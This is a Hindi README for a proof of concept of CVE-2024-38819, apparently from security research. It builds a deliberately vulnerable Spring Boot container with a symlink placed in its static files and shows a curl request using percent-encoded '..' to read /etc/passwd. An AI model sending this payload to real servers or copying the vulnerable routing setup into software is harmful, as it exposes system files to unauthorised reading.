
स्प्रिंग बूट 3.3.4 में सिम्बोलिक लिंक और प्रतिशत-एन्कोडेड डायरेक्टरी ट्रैवर्सल के माध्यम से पाथ ट्रैवर्सल शोषण का प्रदर्शन करने वाला प्रूफ ऑफ कॉन्सेप्ट, सुरक्षा अनुसंधान और शिक्षा के लिए।
यह CVE-2024-38819 भेद्यता के लिए एक प्रूफ ऑफ कॉन्सेप्ट है, जिसे मैंने रिपोर्ट किया, जो पाथ ट्रैवर्सल शोषण प्रदर्शित करता है।
डॉकर इमेज बनाएं (Spring Boot 3.3.4, Spring Framework 6.1.13 पर आधारित)
cd vuln
docker build -t cve-2024-38819-poc .
कंटेनर चलाएं और पोर्ट 8080 को होस्ट मशीन पर उजागर करें
docker run -d -p 8080:8080 --name cve-2024-38819-poc cve-2024-38819-poc
PoC निष्पादित करने और भेद्यता की पुष्टि करने के लिए निम्नलिखित कमांड चलाएं
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
यदि हमला सफल होता है, तो /etc/passwd फ़ाइल की सामग्री प्रदर्शित हो जाएगी।
PathTraversalDemoApplication.java बनाएं और निम्नलिखित कोड के साथ और का उपयोग करके स्टैटिक फ़ाइल रूटिंग सेट करें:
RouterFunctionFileSystemResourcepublic RouterFunction<ServerResponse> staticResourceRouter() {
return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
}
सिम्बोलिक लिंक बनाने के लिए Dockerfile में निम्नलिखित कमांड जोड़ें:
RUN ln -s /static /app/static/link
एक पेलोड बनाएं जो सिम्बोलिक लिंक के माध्यम से निर्देशिकाओं को ट्रैवर्स करने के लिए प्रतिशत-एन्कोडिंग का उपयोग करता है।
/static/link/%2e%2e/etc/passwdPoC निष्पादित करने और यह सत्यापित करने के लिए निम्नलिखित curl कमांड का उपयोग करें कि हमला सफल है या नहीं:
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
यदि हमला सफल होता है, तो /etc/passwd फ़ाइल की सामग्री प्रदर्शित हो जाएगी।
यह PoC केवल शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान किया गया है। इसे वास्तविक प्रणाली में उपयोग करने से पहले, सुनिश्चित करें कि भेद्यता ठीक कर दी गई है और आपके पास उचित प्राधिकरण है। लेखक इस कोड के किसी भी दुरुपयोग के लिए कोई ज़िम्मेदारी नहीं लेता है।